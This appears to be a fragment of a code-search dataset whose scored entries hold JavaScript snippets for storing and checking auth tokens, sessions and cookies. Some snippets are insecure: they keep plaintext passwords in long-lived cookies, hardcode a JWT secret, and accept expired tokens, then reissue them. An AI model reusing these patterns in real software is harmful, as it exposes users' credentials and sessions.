sessionStorage.setItem(\"user\",JSON.stringify(response.data));\n }\n return response.data;\n });\n }", "title": "" }, { "docid": "17fb6efcae65c083f68a161208190b5b", "score": "0.6181802", "text": "auth()\n {\n this.useJWT = true\n }", "title": "" }, { "docid": "1e238bea5da16925ebaafa9a5a88c5dd", "score": "0.6122675", "text": "function getAndStoreJwt(userData) {\n const settings = {\n url: '/auth/login',\n data: JSON.stringify(userData),\n method: 'POST',\n contentType: \"application/json\",\n success: function(data) {\n localStorage.setItem('token', data.authToken);\n localStorage.setItem('user', userData.username);\n window.location.href = '/dashboard.html';\n },\n error: function(data) {\n console.log(\"Error: user authentication failed.\");\n alert(\"Error: Incorrect name and password combination\");\n }\n };\n $.ajax(settings);\n}", "title": "" }, { "docid": "63cf4aafb288c854cad2df53516b9c46", "score": "0.6118187", "text": "function saveingToSessionAndCookie(req, res, userObject) {\n // create new token\n const token = createToken({ id: userObject.id });\n //adding to cookie\n res.cookie(authCookieName, token);\n res.cookie('_u_i%d%_', encryptCookie(userObject.id));\n\n if (userObject.roles.includes('Admin')) {\n res.cookie('_ro_le_', encryptCookie('Admin'));\n }\n\n //added to Session cookie!\n req.session.auth_cookie = token;\n req.session.user = userObject;\n req.session.isAdmin = userObject.roles.includes('Admin');\n req.session.save();\n}", "title": "" }, { "docid": "d490397e7afb3d63a2cf3383a279ff95", "score": "0.61025137", "text": "function setSession(authResult) {\n let expiresAt = JSON.stringify((authResult.expires_in * 1000) + new Date().getTime());\n localStorage.setItem('access_token', authResult.access_token);\n localStorage.setItem('id_token', authResult.id_token);\n localStorage.setItem('expires_at', expiresAt);\n}", "title": "" }, { "docid": "dd62ad88c60d463ecf5fb424e2659a8d", "score": "0.610062", "text": "function setCookie(_tokenId, _expiry) {\n document.cookie = 'SpotifyToken' + \"=\" + _tokenId + \";max-age=\" + _expiry + \";path=/\";\n}", "title": "" }, { "docid": "503786879312131f200ce535f15dc821", "score": "0.6091033", "text": "saveAuthToken(token){\n window.sessionStorage.setItem(config.TOKEN_KEY, token)\n }", "title": "" }, { "docid": "ca3d1367752eb9086f465013043a6c6a", "score": "0.6081138", "text": "function saveSessionAfterLogin(data) {\n localStorage.setItem('username', data.username);\n localStorage.setItem('userId', data._id);\n localStorage.setItem('authtoken', data._kmd.authtoken);\n userLoggedIn();\n }", "title": "" }, { "docid": "66c6f5947bf4a57d1d5fbe8f799e6756", "score": "0.60807735", "text": "login(token) {\n console.log(token);\n window.sessionStorage.setItem(\"token\", token);\n this.authenticated = true;\n }", "title": "" }, { "docid": "a8bb6ee1b38df441f6e12762aef75f78", "score": "0.6042311", "text": "getAuthHeader() {\n return {\n 'jwt-token': localStorage.getItem('token')\n };\n }", "title": "" }, { "docid": "204e3a64e4a1617d4c0b5af38682e5d3", "score": "0.60362893", "text": "resetJWT(state) {\n // state.user = null\n state.isAuthenticated = false;\n\n if (process.env.NODE_ENV !== \"production\") {\n this.$cookies.remove(\"access_token\");\n this.$cookies.remove(\"refresh_token\");\n }\n }", "title": "" }, { "docid": "b5aaf52c63629579873489786d32fd8a", "score": "0.60356444", "text": "function storeToken(){\n if (typeof(Storage) !== \"undefined\") {\n window.localStorage.setItem(\"loginToken\", token);\n }else{\n document.cookie = \"loginToken=\" + token;\n }\n}", "title": "" }, { "docid": "d3fdf207d4d70066fe1d5a73ffd52faf", "score": "0.6000341", "text": "function setNewToken(token) {\n cookie.save('token', token, { path: '/'});\n}", "title": "" }, { "docid": "90d6ce4131710c7ec7ee7c987ff03251", "score": "0.6000062", "text": "function setCookie(res, username, password) {\r\n var obj = { username: username, password: password };\r\n var raw = JSON.stringify(obj);\r\n // TODO: Encrypt raw data\r\n res.cookies.set(_cookieName, raw, { maxAge: _maxCookieAge });\r\n }", "title": "" }, { "docid": "ef12eb5f4230df62c241c3715af26df0", "score": "0.59922683", "text": "checkAuth() {\n let jwt = JSON.parse(localStorage.getItem('user'))\n\n if(jwt) {\n this.user.id = jwt.id\n this.user.actor.id = jwt.actor.id\n this.user.authenticated = true\n this.user.username = jwt.username\n this.user.token = jwt.token\n this.user.email = jwt.email\n\n this.user.complete = jwt.complete\n } else {\n this.user.authenticated = false\n }\n }", "title": "" }, { "docid": "ba967f4699947ef6de8ce7a3be6362cc", "score": "0.5991034", "text": "static authenticateToken(ptth_cred){\n for(var http of ptth_cred.headers.entries()){\n sessionStorage.setItem(`${http[0]}`, `${http[1]}`)\n }\n }", "title": "" }, { "docid": "3631650817ef8f5d2dccd2606e61fe00", "score": "0.5966803", "text": "set (token) {\n this.$axios.setToken(token, 'Bearer')\n this.$cookie.set('token', token, {\n path: '/',\n maxAge: 60 * 60 * 24 * 7 * 365\n })\n }", "title": "" }, { "docid": "d526df31510dd9bc899a7bcb1e1c5ad7", "score": "0.5957634", "text": "touchSessionCookie() {\n this.ctx.logger.trace('touching session cookie');\n this.ctx.response.cookie(this.config.cookieName, this.sessionId, this.config.cookie);\n }", "title": "" }, { "docid": "a2a3caa2b3f6af1b53cb1d7a62ebf84a", "score": "0.5951215", "text": "setSession(authResult) {\n // Set the time that the access token will expire at\n let expiresAt = JSON.stringify((authResult.expiresIn * 1000) + new Date().getTime());\n localStorage.setItem('access_token', authResult.accessToken);\n localStorage.setItem('id_token', authResult.idToken);\n localStorage.setItem('expires_at', expiresAt);\n \n // navigate to the home route\n history.replace('/home');\n }", "title": "" }, { "docid": "fb67c1857294039e91a6a0eccd37d6a7", "score": "0.59368", "text": "function authmdw(req, res, next){\n \n if(req.headers.cookie) console.log(`jwt- cookie: ${req.headers.cookie}`)\n \n const token= req.headers.cookie.split('=')[1]\n if(! token) return res.status(401).send(\"Access denied! Auth token not found\")\n\n try{\n const decodedToken= jwt.verify(token, 'secret key') \n req.user= decodedToken\n next()\n }\n catch(err){\n res.status(400).send('invalid token !!')\n }\n}", "title": "" }, { "docid": "1dd5d5e938ac8d60a81fe4b0ee9cfb8b", "score": "0.5922547", "text": "function setAuthHeader() {\n $http.defaults.headers.common['authorization']= window.localStorage['authToken'];\n }", "title": "" }, { "docid": "e6d72fe34951953d475e8101bbf1bca6", "score": "0.5917479", "text": "function setup() {\n const token = localStorage.getItem('authToken')\n if(token){\n const {exp: expiration} = jwt(token)\n if(expiration * 1000 > new Date().getTime()){\n setAxiosToken(token)\n }\n }\n}", "title": "" }, { "docid": "3f1a7e291b9fd47e661669906582fb2b", "score": "0.5914053", "text": "function _setCurrentUser(userDataObj) {\n\n // remove unnecessary data\n delete userDataObj.session_id;\n\n // Set the cookie\n $cookies.putObject('CurrentUserObj', userDataObj);\n\n // Set the DreamFactory session header\n $http.defaults.headers.common['X-DreamFactory-Session-Token'] = userDataObj.session_token;\n\n currentUser = userDataObj;\n }", "title": "" }, { "docid": "7d14f6a8e856157f7d7ae50e9c4e1301", "score": "0.591392", "text": "deleteLoginToken(){\n this.loginToken = undefined;\n cookies.set('accessToken', \"\", { path: '/' });\n }", "title": "" }, { "docid": "43c27d73449bbb12ccb914c8f834f2ff", "score": "0.5910634", "text": "function setCookies(newSessid, newSession_name) {\t\n \t//save data in service\n \tsessid = newSessid;\n\t\t\tsession_name = newSession_name;\n\t\t\t\n\t\t\t//store session cookies\n\t\t\t//$cookies[data.session_name] = data.sessid;\n\t\t\t$cookies.put(newSession_name, newSessid, sessionCookieOptions);\t\n }", "title": "" }, { "docid": "8263349feeb30a02924275e230092d21", "score": "0.59060884", "text": "function mockLoggedIn() {\n LocalStorage.set('currentUser', user);\n LocalStorage.set('jwt', token);\n }", "title": "" }, { "docid": "76b8b7ca79ab98187338fb5543c05c66", "score": "0.59046924", "text": "erase_token_cookie() {\n this.api_token = \"\";\n this.authorized_user = null;\n this._set_token_cookie();\n }", "title": "" }, { "docid": "d26a4e2b86229db4e28f36d2d76d4205", "score": "0.59028226", "text": "registerSuccessfulLogin(username,password){\n\n let basicAuthHeader = 'Basic ' + window.btoa(`${username}:${password}`);\n\n\n console.log('Authentication was Successful');\n sessionStorage.setItem('authenticatedUser', username);\n this.setupAxiosInterceptors(basicAuthHeader);\n }", "title": "" }, { "docid": "3d6d7b59d487bf7bb20d63d7e041ba86", "score": "0.5896776", "text": "handleResponse(data){\n let expires = new Date()\n //Set cookie validity to 8 hours\n expires.setTime(expires.getTime() + (8*60*60));\n this.cookies.set('GuestRegistrationFormClientId', this.clientId, { path: '/' }, expires);\n this.setState({ redirect: true });\n }", "title": "" }, { "docid": "a7ab67876b4ecdf9b803d33d006b555f", "score": "0.58865434", "text": "function setSession() {\n\t\tvar userName = $('#storage-id').data('user-id'); \n\t\tlocalStorage.setItem(\"userName\", userName);\n\t}", "title": "" }, { "docid": "f5af934b7bef3bfcece05df6d78d6ff1", "score": "0.5866784", "text": "static verifyJwt() {\n return async function(ctx, next) {\n const token = ctx.cookies.get('koa:jwt', { signed: true });\n\n if (token) {\n // the jwt cookie is held against the top-level domain, for login interoperability between subdomains\n const domain = ctx.request.hostname.replace(/^admin\\.|^report\\./, '');\n\n try {\n const payload = jwt.verify(token, process.env.JWT_SECRET_KEY); // throws on invalid token\n\n // valid token: accept it...\n await setupUser(ctx, payload);\n } catch (err) {\n // verify failed - retry with ignore expire option\n const options = { signed: true, domain: domain };\n\n try {\n const payload = jwt.verify(token, process.env.JWT_SECRET_KEY, { ignoreExpiration: true });\n\n // valid token except for exp: accept it...\n await setupUser(ctx, payload);\n\n // ... and re-issue a replacement token for a further 24 hours\n delete payload.exp;\n const replacementToken = jwt.sign(payload, process.env.JWT_SECRET_KEY, { expiresIn: '24h' });\n if (payload.remember) options.expires = new Date(Date.now() + 1000*60*60*24*7); // remember-me for 7d\n ctx.cookies.set('koa:jwt', replacementToken, options);\n } catch (e) {\n if ([ 'invalid token', 'invalid signature' ].includes(e.message)) {\n // delete the cookie holding the JSON Web Token\n ctx.cookies.set('koa:jwt', null, options);\n ctx.cookies.set('koa:jwt', null, { signed: true }); // TODO: tmp for transition period\n ctx.throw(401, 'Invalid authentication'); // verify (both!) failed\n }\n ctx.throw(e.status||500, e.message); // Internal Server Error\n }\n }\n }\n\n // if we had a valid token, the user is now set up as a logged-in user with details in ctx.state.user\n await next();\n };\n }", "title": "" }, { "docid": "2c588df36f789abd2e600223e00dc9aa", "score": "0.58629674", "text": "function saveSession(data) {\n localStorage.setItem('username', data.username);\n localStorage.setItem('id', data._id);\n localStorage.setItem('authtoken', data._kmd.authtoken);\n userLoggedIn();\n }", "title": "" }, { "docid": "c1250135676748fa8065eb7e05255ad4", "score": "0.5849557", "text": "constructor () {\n let token = window.localStorage.getItem('access_token') ? window.localStorage.getItem('access_token') : window.sessionStorage.getItem('access_token')\n let refresh_token = window.localStorage.getItem('refresh_token') ? window.localStorage.getItem('refresh_token') : window.sessionStorage.getItem('refresh_token')\n\n if (refresh_token) {\n this.setRefreshInterceptor(refresh_token)\n }\n\n if (token) {\n axios.defaults.headers.common['Authorization'] = 'Bearer ' + token\n this.getUser()\n }\n }", "title": "" }, { "docid": "ae4b9252cc1c7d0040591c0ffbdd97c2", "score": "0.58467627", "text": "checkInitialLoginStatus (debug) {\n debug = true\n console.log('+++++ checkInitialLoginStatus ++++++')\n // See if we have a AUTHSERVICE_JWT in the URL to this page\n let jwt = this.getURLParameterByName(\"AUTHSERVICE_JWT\")\n if (jwt) {\n if (debug) {\n console.log(\"***\")\n console.log(\"***\")\n console.log(\"*** AUTHSERVICE_JWT IN URL\")\n console.log(\"***\")\n console.log(\"***\")\n }\n const isFromCookie = false\n if (this.setCurrentUserFromJWT(jwt, isFromCookie)) {\n // Remember this JWT in a cookie for the next page.\n this.setCookie(JWT_COOKIE_NAME, jwt, LOGIN_TIMEOUT_DAYS)\n return true\n } else {\n // Invalid JWT\n this.removeCookie(JWT_COOKIE_NAME)\n return false\n }\n }\n\n // See if we have a cookie containing the current JWT\n jwt = this.getCookie(JWT_COOKIE_NAME)\n if (jwt) {\n if (debug) {\n console.log(\"***\")\n console.log(\"***\")\n console.log(\"*** AUTHSERVICE_JWT IN A COOKIE\")\n console.log(\"***\")\n console.log(\"***\")\n }\n // var isFromCookie = true;\n const isFromCookie = false // Check if it is stale ZZZZ\n if (this.setCurrentUserFromJWT(jwt, isFromCookie)) {\n // Good login from cookie\n return true\n } else {\n // Dud cookie\n this.removeCookie(JWT_COOKIE_NAME)\n return false\n }\n }\n\n // not a good cookie\n if (debug) {\n console.log(\"***\")\n console.log(\"***\")\n console.log(\"*** AUTHSERVICE_JWT NOT IN URL OR COOKIE\")\n console.log(\"***\")\n console.log(\"***\")\n }\n const isFromCookie = false\n this.setCurrentUserFromJWT(null, isFromCookie)\n return false\n }", "title": "" }, { "docid": "d4f5b0644725619ba2fd2992d167070e", "score": "0.58429176", "text": "function saveUserCredentialsInLocalStorage() {\n\tconsole.debug('saveUserCredentialsInLocalStorage');\n\tif (currentUser) {\n\t\tlocalStorage.setItem('token', currentUser.loginToken);\n\t\tlocalStorage.setItem('username', currentUser.username);\n\t}\n}", "title": "" }, { "docid": "d91cd2f97e2b60a59508a50462aeabb1", "score": "0.5826773", "text": "saveAuthToken(token) {\n window.sessionStorage.setItem(config.TOKEN_KEY, token);\n }", "title": "" }, { "docid": "4eae27015bfe0d78261aa557c8e81db4", "score": "0.5823224", "text": "function setCSRFTokens() {\n const _csrf = typeof window !== 'undefined' && cookies.get('_csrf');\n if (!_csrf) return;\n axios.defaults.headers.post['CSRF-Token'] = tokens.create(_csrf);\n axios.defaults.headers.put['CSRF-Token'] = tokens.create(_csrf);\n}", "title": "" }, { "docid": "720817510ae2dc5b6e090769fa6ec61c", "score": "0.5799848", "text": "clearJWT(cb) {\n if(typeof window !== \"undefined\")\n sessionStorage.removeItem('jwt')\n cb()\n signout().then((data) => {\n document.cookie = \"t=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;\"\n })\n }", "title": "" }, { "docid": "ae7cced237413169aed63df80f96b17b", "score": "0.57939607", "text": "set(cookiename, data, expiration) {\n ng2_cookies_ng2_cookies__WEBPACK_IMPORTED_MODULE_2__[\"Cookie\"].set(cookiename, data, expiration, '/');\n }", "title": "" }, { "docid": "583d2ec8e86c302db08bc8899f6804bd", "score": "0.579289", "text": "async getAuthCookie() {\n return (await Cookies.getJSON('authenticatedUser'));\n }", "title": "" }, { "docid": "d99c898ada5007dd7a713a45a334e9c3", "score": "0.57881624", "text": "save() {\n this.cookie.resetExpires();\n return this.req.sessionStore.set(this.id, this);\n }", "title": "" }, { "docid": "6eb4e7eeeec76070ddd375b8aa34fb62", "score": "0.57829136", "text": "function setSessionCookie() {\n var cookieName = getSnowplowCookieName('ses');\n var cookieValue = '*';\n setCookie(cookieName, cookieValue, configSessionCookieTimeout);\n }", "title": "" }, { "docid": "51d4c71b0561aeb7f6c25d491db53f03", "score": "0.5776066", "text": "function setSession(authResult) {\n console.log(\"generated token====\" + authResult.accessToken);\n // Set the time that the access token will expire at\n let expiresAt = JSON.stringify((authResult.expiresIn * 1000) + new Date().getTime());\n localStorage.setItem('access_token', authResult.accessToken);\n localStorage.setItem('id_token', authResult.idToken);\n localStorage.setItem('expires_at', expiresAt);\n }", "title": "" }, { "docid": "9960622d45ec5a607cce9571980ebf6f", "score": "0.5761746", "text": "static verifyJwt(ctx) {\n const secretKey = process.env.JWT_SECRET_KEY;\n if (!secretKey) throw new Error('No JWT secret key available');\n\n const options = { signed: true };\n const token = ctx.cookies.get('sample-app:jwt', options);\n\n if (!token) return false; // not logged in\n\n if (token) { // verify JWT login token - will throw on invalid token\n try {\n const payload = jwt.verify(token, secretKey); // throws on invalid token\n\n // valid token: accept it...\n ctx.state.auth = {\n user: authDetails(payload),\n jwt: token, // for ajax->api calls\n };\n } catch (err) {\n // verify failed - retry with ignore expire option\n try {\n const payload = jwt.verify(token, secretKey, { ignoreExpiration: true });\n\n ctx.state.auth = {\n user: authDetails(payload),\n jwt: token, // for ajax->api calls\n };\n\n // ... and re-issue a replacement token for a further 24 hours\n delete payload.exp;\n const replacementToken = jwt.sign(payload, secretKey, { expiresIn: '24h' });\n if (payload.remember) options.expires = new Date(Date.now() + 1000*60*60*24*7); // remember-me for 7d\n ctx.cookies.set('racedrone:jwt', replacementToken, options);\n } catch (e) {\n if ([ 'invalid token', 'invalid signature', 'jwt malformed' ].includes(e.message)) {\n // delete the cookie holding the JSON Web Token\n ctx.cookies.set('racedrone:jwt', null, options);\n ctx.throw(401, 'Invalid authentication'); // verify (both!) failed\n }\n ctx.throw(e.status || 500, e.message); // Internal Server Error\n }\n }\n }\n\n return true; // payload is now recorded in ctx.state.auth\n }", "title": "" }, { "docid": "f1e82a6fd8a1eeb924814ead07fca749", "score": "0.5759781", "text": "setAuthUser(id){\n localStorage.setItem('id',id)\n }", "title": "" }, { "docid": "9f4c1cbade4d5fda1b05250b6de8322e", "score": "0.575714", "text": "setSession(authResult) {\n Object.keys(authResult).forEach(key => {\n localStorage.setItem(key, authResult[key])\n })\n }", "title": "" }, { "docid": "3d668798f70ae11c0cc50597a274331b", "score": "0.575696", "text": "function setSSIDCookie(req, res, id) {\n // res.cookie('ssid', id, { httpOnly: true });\n // console.log(req);\n //when we get a new user, we get a new SSID cookie with userID\n //then we create a session with the cookie/ssid id\n sessionController.startSession(id);\n \n}", "title": "" }, { "docid": "fa89cada325c575f0e370fdebc04ba1b", "score": "0.5753888", "text": "logInUser(username, admin, res) {\n global.logger.info(`logInUser(): Setting session for user ${username}`);\n let salt = uuid();\n sessionMap.set(username, salt);\n res.cookie(\"username\", username, { maxAge: 1000 * 60 * 20 /* 20 minutes */});\n res.cookie(\"secret\", salt, { maxAge: 1000 * 60 * 10 /* 10 minutes */, httpOnly: true });\n\n if (admin == 1) admins.push(username);\n }", "title": "" }, { "docid": "0afd78785c50da48b90966cdeafb91d0", "score": "0.574376", "text": "function createCookies() {\r\n if(lastUsername != \"\" && lastPassword != \"\") {\r\n setCookie(\"mySocialNetworkUsername\", lastUsername, 365);\r\n setCookie(\"mySocialNetworkPassword\", lastPassword, 365);\r\n usernameValue = getCookie(\"mySocialNetworkUsername\");\r\n passwordValue = getCookie(\"mySocialNetworkPassword\");\r\n }\r\n}", "title": "" }, { "docid": "b1d3df32e530cbfaf69f69634b779708", "score": "0.57364047", "text": "function setSession(sessionObj){\n $cookieStore.put('storeSession', sessionObj);\n }", "title": "" }, { "docid": "0ed29d96f074e4553e160edefcabdd86", "score": "0.57318217", "text": "loginUser(context, credentials) {\n context.$http.post(loginUrl, JSON.stringify({\n \"username\": credentials.username,\n \"email\": credentials.email,\n \"password\": credentials.password\n }), {\n headers: {\n \"content-type\": \"application/json\",\n \"X-Authorization\": \"asf\"\n }\n })\n .then((response) => {\n localStorage.setItem('user_id', response.data.id);\n localStorage.setItem('user_token', response.data.token);\n this.user.authenticated = true;\n context.successfulLogin();\n console.log(\"the token is: \" + response.data.token);\n }, (error) => {\n console.log(\"ERROR LOGGING IN \" + error.data);\n context.failedLogin(error.data);\n })\n }", "title": "" }, { "docid": "973adf67b4326431725a1d69afa91c07", "score": "0.5725609", "text": "nuxtServerInit ({ commit }, { req }) {\n let auth = ''\n if (req.headers.cookie) {\n const cookie = req.headers.cookie\n const output = {}\n cookie.split(/\\s*;\\s*/).forEach(function (pair) {\n pair = pair.split(/\\s*=\\s*/)\n output[pair[0]] = pair.splice(1).join('=')\n })\n let json = JSON.stringify(output, null, 4)\n json = JSON.parse(json)\n if (json.auth) {\n auth = json.auth\n commit('user/SET_USER', auth, { root: true })\n }\n }\n }", "title": "" }, { "docid": "358ec202e43338db4b6e935d8775da87", "score": "0.57218236", "text": "authenticate(request, response) {\n const user = userstore.getUserByEmail(request.body.email);\n const trainer = trainerstore.getTrainerByEmail(request.body.email);\n if (user && user.password === request.body.password) {\n response.cookie('user', user.email);\n logger.info(`logging in ${user.email}`);\n response.redirect('/dashboard');\n } else if (trainer && trainer.password === request.body.password) {\n response.cookie('user', trainer.email);\n logger.info(`logging in ${trainer.email}`);\n response.redirect('/trainerdashboard');\n } else {\n response.redirect('/login');\n }\n }", "title": "" }, { "docid": "d6e3b2529fbb5380ac9199d7b6eabb11", "score": "0.57213205", "text": "constructor($http, $log, $sessionStorage, API) {\n this.$http = $http;\n this.$log = $log;\n this.$sessionStorage = $sessionStorage;\n this.API = API;\n\n if(this.$sessionStorage.token){\n this.$http.defaults.headers.common.Authorization = 'Bearer ' + this.$sessionStorage.token;\n }\n else {\n this.$http.defaults.headers.common.Authorization = 'Basic';\n this.$sessionStorage.user = {};\n }\n\n }", "title": "" }, { "docid": "e993421a35e03c3075a872cd40b6f7ee", "score": "0.5721131", "text": "clearJWT(cb) {\n if(typeof window !== 'undefined') {\n sessionStorage.removeItem('jwt');\n }\n cb();\n signout().then((data) => {\n document.cookie = \"t=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;\"\n });\n }", "title": "" }, { "docid": "ca74f5184cb00c58a383619ad6b75b2b", "score": "0.57210505", "text": "function authenticate(req, res, next) {\n const sessionCookie = req.cookies.session || '';\n console.log(req.cookies);\n // Verify the session cookie. In this case an additional check is added to detect\n // if the user's Firebase session was revoked, user deleted/disabled, etc.\n admin.auth().verifySessionCookie(\n sessionCookie, true /** checkRevoked */).then((decodedClaims) => {\n res.locals.user = decodedClaims;\n next();\n }).catch(error => {\n // Session cookie is unavailable or invalid. Force user to login.\n //console.log(error);\n res.redirect('/login');\n });\n\n}", "title": "" }, { "docid": "95cf9f895a851600dd51dfb12eef5861", "score": "0.5702751", "text": "_saveInLocalStorage(context, data) {\n // store the JWT in local storage\n const now = new Date()\n const expirationDate = new Date(now.getTime() + data.expiresIn * 1000)\n localStorage.setItem('token', data.idToken)\n localStorage.setItem('userId', data.localId)\n localStorage.setItem('expirationDate', expirationDate)\n }", "title": "" }, { "docid": "4ab23268676cb35b9e46486fab9e1164", "score": "0.56977016", "text": "function setTokenCookie(res, token) {\n let options = {\n maxAge: day * 7,\n secure: isNotDevBuild,\n httpOnly: false,\n // sameSite: isNotDevBuild\n };\n res.cookie('token', token, options);\n}", "title": "" }, { "docid": "3427d44af61347190c21ee62a4c522ff", "score": "0.56965023", "text": "setLoginDetails(response)\n {\n this.userId=response.data.user_data.id;\n this.auth=response.headers.auth;\n localStorage.setItem('UserData', JSON.stringify(this.userId));\n localStorage.setItem('Auth', JSON.stringify(this.auth));\n\n console.log(\"Login successfull\");\n\n this.gotoProfile();\n\n }", "title": "" }, { "docid": "a610edaabf7c013776a1f9025717d6ed", "score": "0.56942546", "text": "function login() {\n let username = document.querySelector(\".username\").value;\n let password = document.querySelector(\".password\").value;\n console.log(username, password);\n fetch(\"https://serene-sea-89440.herokuapp.com/auth\", {\n method: \"POST\",\n body: JSON.stringify({\n username: username,\n password: password,\n }),\n headers: {\n \"Content-Type\": \"application/json\",\n },\n })\n .then((response) => response.json())\n .then((data) => {\n if (data[\"access_token\"]) {\n fetch(`https://serene-sea-89440.herokuapp.com/get-user/${username}/`, {\n method: \"GET\",\n headers: {\n \"Content-Type\": \"application/json\",\n Authorization: `jwt ${window.localStorage[\"jwt-token\"]}`,\n },\n })\n .then((res) => res.json())\n .then((data) => {\n console.log(data);\n window.localStorage[\"user-id\"] = data.user[0];\n var user_id = data.user[0];\n console.log(data);\n myStorage = window.localStorage;\n myStorage.setItem(\"user_id\", user_id);\n\n myStorage.setItem(\"username\", username);\n window.location = \"./index.html\";\n });\n myStorage = window.localStorage;\n myStorage.setItem(\"jwt-token\", data[\"access_token\"]);\n }\n });\n}", "title": "" }, { "docid": "f59910d6ec00731eacc2e6eb285dcd78", "score": "0.5688797", "text": "function _store(token) {\n // Set the session in localStorage\n localStorage['_session'] = token; // Set the session in a cookie\n\n Cookies.set('_session', token, 86400, '.' + window.location.hostname, '/');\n}", "title": "" }, { "docid": "31403d1814cdc0991c2f6039b269c305", "score": "0.56803167", "text": "login(user) {\n\n return Vue.http.post('sessions', user).then((response) => {\n localStorage.setItem('id_token', response.body.token)\n Vue.http.headers.common['X-Authorization'] = response.body.token\n return 'ok'\n }, (responseError) => {\n return responseError.body.msg\n })\n }", "title": "" }, { "docid": "ad242400e162c8b3b8ee2299f2a0c82b", "score": "0.56762236", "text": "function setSession(authResult) {\n var expiresAt = JSON.stringify(authResult.expiresIn * 1000 + new Date().getTime());\n\n // If there is a value on the `scope` param from the authResult,\n // use it to set scopes in the session for the user. Otherwise\n // use the scopes as requested. If no scopes were requested,\n // set it to nothing\n console.log('authResult.scope is ', authResult.scope);\n console.log('REQUESTED_SCOPES is ', REQUESTED_SCOPES);\n var scopes = authResult.scope || REQUESTED_SCOPES || '';\n console.log('Your scopes are now ', scopes);\n localStorage.setItem('access_token', authResult.accessToken);\n localStorage.setItem('id_token', authResult.idToken);\n localStorage.setItem('expires_at', expiresAt);\n localStorage.setItem('scopes', JSON.stringify(scopes));\n }", "title": "" }, { "docid": "d9d25c2d26542606bca98d3102ff1749", "score": "0.5669383", "text": "function setCookie() {\n var id = Date.now();\n var d = new Date();\n d.setTime(d.getTime() + 7 * 24 * 60 * 60 * 1000);\n var expires = \"expires=\" + d.toUTCString();\n document.cookie = \"userid=\" + id + \";\" + expires + \";path=/\";\n}", "title": "" }, { "docid": "0e64e812bdff1e67e29e7201dd186614", "score": "0.56647825", "text": "function tokenSettings() {\n const token = localStorage.getItem('userToken')\n if (token) {\n axios.defaults.headers.common['Authorization'] = `Bearer ${token}`\n }\n}", "title": "" }, { "docid": "d3f2539e6143506ad6a277ab11c8caf0", "score": "0.5659945", "text": "static async set(req,dataObj) {\n const sid = Cookies.get(req,'sid');\n const [session] = await Session.all({ where:{ sid } });\n\n session.data = JSON.parse(session.data);\n\n Object.assign(session.data,dataObj);\n\n return await Session.update({\n data:JSON.stringify(session.data),\n where:{ sid }\n });\n }", "title": "" }, { "docid": "08cd93c8d46e59bcb9b7b4ff55a75620", "score": "0.56595135", "text": "handleSubmit(evt) {\n fetch(`${API_Url}/users/sign_in`, {\n method: 'POST',\n headers: {\n 'Accept': 'application/json, text/plain,',\n 'Content-Type': 'application/json'\n },\n body: JSON.stringify({\n user: {\n email: this.state.email,\n password: this.state.password\n }\n })\n }).then(response => {\n sessionStorage.setItem('jwt', response.headers.get('Authorization').split('Bearer ')[1]);\n return response.json();\n }).then(parsedResponse => this.storeInformation(parsedResponse) );\n evt.preventDefault();\n }", "title": "" }, { "docid": "a6dcc4d74ec6bed7b986f501c8862a91", "score": "0.56558955", "text": "function userSessionCookie(request, response, next) {\n // console.log('The request has all the following session cookies:');\n // console.log(request.session);\n\n // Current Timestamp: new Date().toUTCString()\n // Request Method: req.method\n // Request Route: req.originalUrl\n // Some string/boolean stating if a user is authenticated\n const now = new Date();;\n let auth = request.session.authenticate;\n if (auth) {\n authenticated = request.session.authenticate;\n }\n else {\n var authenticated = false;\n }\n console.log(now.toUTCString() + \" \" + request.method + \" \" + request.originalUrl + \" UserAuthenticated:\" + authenticated);\n next();\n}", "title": "" }, { "docid": "7590e57a4775fc499432f31e79332fc9", "score": "0.5648858", "text": "function login() {\n var newSession = new Session();\n newSession.userName = uiConfig.emailField.value;\n window.localStorage.setItem(SESSION_KEY, JSON.stringify(newSession));\n\n validateSession();\n }", "title": "" }, { "docid": "f9672f50d3a0e879c9910f614ff79f1f", "score": "0.5645101", "text": "function login() {\n\n var email = document.getElementById(\"email\");\n var password = document.getElementById(\"test\");\n\n console.log(email.value);\n console.log(password.value);\n\n var urlDest = \"http://localhost/FalconNews/api/user/login.php\";\n var method = \"POST\";\n var request = new XMLHttpRequest();\n request.open(method, urlDest);\n request.setRequestHeader(\"Content-Type\", \"application/json\");\n request.onload = function() {\n // success\n if (request.status === 200 && request.readyState === request.DONE) {\n //!!! ADD SECURE TO THE COOKIE TO ENSURE YOU USE IT ONLY WITH HTTPS !!!\n var info = JSON.parse(request.responseText);\n console.log(\"login success : \" + info);\n document.cookie = \"token=\" + info.jwt + \";path=/\";\n window.location.href = \"http://localhost/FalconNews/gui/app/news/news.html\";\n }\n // invalid credentials\n else if (request.status === 401 && request.readyState === request.DONE) {\n var info = JSON.parse(request.responseText);\n console.log(info);\n }\n // malformed request\n else if (request.status === 400 && request.readyState === request.DONE) {\n var info = JSON.parse(request.responseText);\n console.log(info);\n }\n // anything else\n else {\n var info = JSON.parse(request.responseText);\n console.log(info);\n }\n };\n request.send(JSON.stringify({\n email: email.value,\n password: password.value\n }));\n}", "title": "" }, { "docid": "a6db58cbacf3b98906d7e984c82abd24", "score": "0.56400687", "text": "getAuthHeader(context) {\n //console.log(context.$session.get('JWT'))\n return {\n Authorization: 'JWT ' + context.$session.get('JWT')\n }\n }", "title": "" }, { "docid": "59fca8bf7a4c76ac5cb21ca3bb8061a7", "score": "0.56368184", "text": "function setup(){\n //1. Voir si on a un token\n const token = window.localStorage.getItem(\"authToken\");\n //2. Si le token est encore valide\n if(token){\n const {exp:expiration} = jwtDecode(token);\n if(expiration * 1000 >new Date().getTime()){\n setAxiosToken(token);\n }else{\n logout();\n }\n }\n}", "title": "" }, { "docid": "9361d2111a78a9d94b9f8b5d600ed65b", "score": "0.56291527", "text": "static async login(email, pwd) {\n const credential = await axios.post(`${url}auth/login`, {\n email,\n pwd\n });\n const { token } = credential.data;\n if (token) {\n cookie.setCookie(\"auth-token\", token, 30); //window.localStorage.setItem(\"auth-token\",token)\n localStorage.setItem(\"LastLogged\", Date.now());\n window.location.replace(\"/home\");\n return null;\n } else {\n return { message: credential.data.message };\n }\n }", "title": "" }, { "docid": "21673b0eeb05cb63a4ba57c18baa2564", "score": "0.562742", "text": "async function tokenSet() {\n try {\n req.session.userToken = access_token;\n } catch (e) {\n console.log('Token Set Error', e.message);\n }\n }", "title": "" }, { "docid": "90c10b2baff3add0539994f087b0344e", "score": "0.56186867", "text": "componentDidMount() {\n let username = 